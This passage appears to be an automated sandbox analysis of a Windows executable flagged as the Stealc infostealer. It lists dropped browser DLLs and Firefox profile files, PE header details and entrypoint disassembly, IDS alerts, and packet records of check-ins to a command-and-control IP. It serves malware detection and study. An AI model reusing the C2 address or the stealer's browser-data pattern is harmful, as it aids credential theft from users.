SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9509448605612505
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'863'680 bytes
MD5:	ea1bf920607c9bb2fd526e099bf44660
SHA1:	fbd7c63afaac94463f9a5e57bebcdea57ae098e6
SHA256:	ecfbc0fbf8e0d515cac5085d1bd1e318aba208b319f1b3e834495f06c364fa43
SHA512:	995231f6f845562fe48763f61a003d4a98e8ad610d5c064143aeae67ea2e1aa0d8d099116a9b3c54584b3b894eb94a939758a67c587353d91b68f7a476177fc8
SSDEEP:	49152:Kvbx9VaLK+/GvJhYKK5CXioP2KQxzdFKunwU:KlaOfMB5CX3PXQxzuuF
TLSH:	7E85335F16F96792E710E2348026D34BC5BBB5CBBD0A979C6C81055BDC9218CABC4B3A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xaa0000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F2395054E1Ah
cmovle ebx, dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F2395056E15h
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007F2395054E82h
push esi
dec edx
popad
je 00007F2395054E7Bh
push edx
dec esi
jc 00007F2395054E8Ah
cmp byte ptr [ebx], dh
push edx
jns 00007F2395054E57h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007F2395054E5Dh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007F2395054E67h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007F2395054E5Ch
dec eax
dec ebp
jo 00007F2395054E53h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007F2395054E60h
insd
jnc 00007F2395054E80h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007F2395054E68h
push edx
insb
js 00007F2395054E81h
outsb
inc ecx
jno 00007F2395054E62h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007F2395054E5Ch
dec ebx
js 00007F2395054E53h
jne 00007F2395054E41h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007F2395054E6Ch
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007F2395054E4Ah
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007F2395054E83h

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	8884314e496a1a76209ec9b3317a4869	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a0000	0x200	d34c202eadb4c1726feff82a6b666831	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kkjueqgp	0x4fe000	0x1a1000	0x1a0c00	51a5dfd69ee548625e6eb8514eef4d15	False	0.9948693854979004	data	7.953602249289906	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xkoondrm	0x69f000	0x1000	0x600	ead877c308a7b49e9bc8f66f2b1eebf0	False	0.5768229166666666	data	5.09704399165392	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a0000	0x3000	0x2200	8114a232bcef3fdc4f6c3868ed120e40	False	0.36776194852941174	DOS executable (COM)	3.956347303814121	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-20T06:40:02.803285+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-20T06:40:03.156739+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-20T06:40:03.162772+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-10-20T06:40:03.508270+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-20T06:40:03.525854+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-10-20T06:40:04.906686+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-20T06:40:05.486695+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-20T06:40:16.556973+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-20T06:40:18.834601+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-20T06:40:19.432497+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-20T06:40:20.253949+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-20T06:40:21.752302+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-20T06:40:22.367795+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 20, 2024 06:40:01.262434006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:01.267363071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:01.267438889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:01.268142939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:01.272944927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:02.420922041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:02.421024084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:02.423437119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:02.428461075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:02.803164005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:02.803284883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:02.804245949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:02.809113026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:03.156533957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:03.156688929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:03.156738997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:03.157641888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:03.157869101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:03.162771940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:03.508142948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:03.508191109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:03.508200884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:03.508270025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:03.508301973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:03.508316040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:03.508327961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:03.508337975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:03.508358955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:03.508388042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:03.508713961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:03.508764029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:03.510876894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:03.510931969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:03.521086931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:03.525854111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:04.009232044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:04.009489059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:04.025753021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:04.025794983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:04.030787945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:04.030831099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:04.030841112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:04.030850887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:04.030858994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:04.030869007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:04.906501055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:04.906686068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.138195992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.143156052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.486566067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.486615896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.486629963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.486641884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.486654997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.486665964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.486680031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.486694098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.486695051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.486731052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.486745119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.486753941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.486754894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.486754894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.486828089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.487328053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.487369061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.487381935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.487426996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.680177927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.680200100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.680211067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.680222034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.680234909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.680247068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.680246115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.680303097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.680304050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.680304050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.680315018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.680351019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.680382013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.680895090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.680955887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.680970907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.680983067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:05.681029081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:05.681133032 CEST	80	49730	185.215.113.37	192.168.2.4
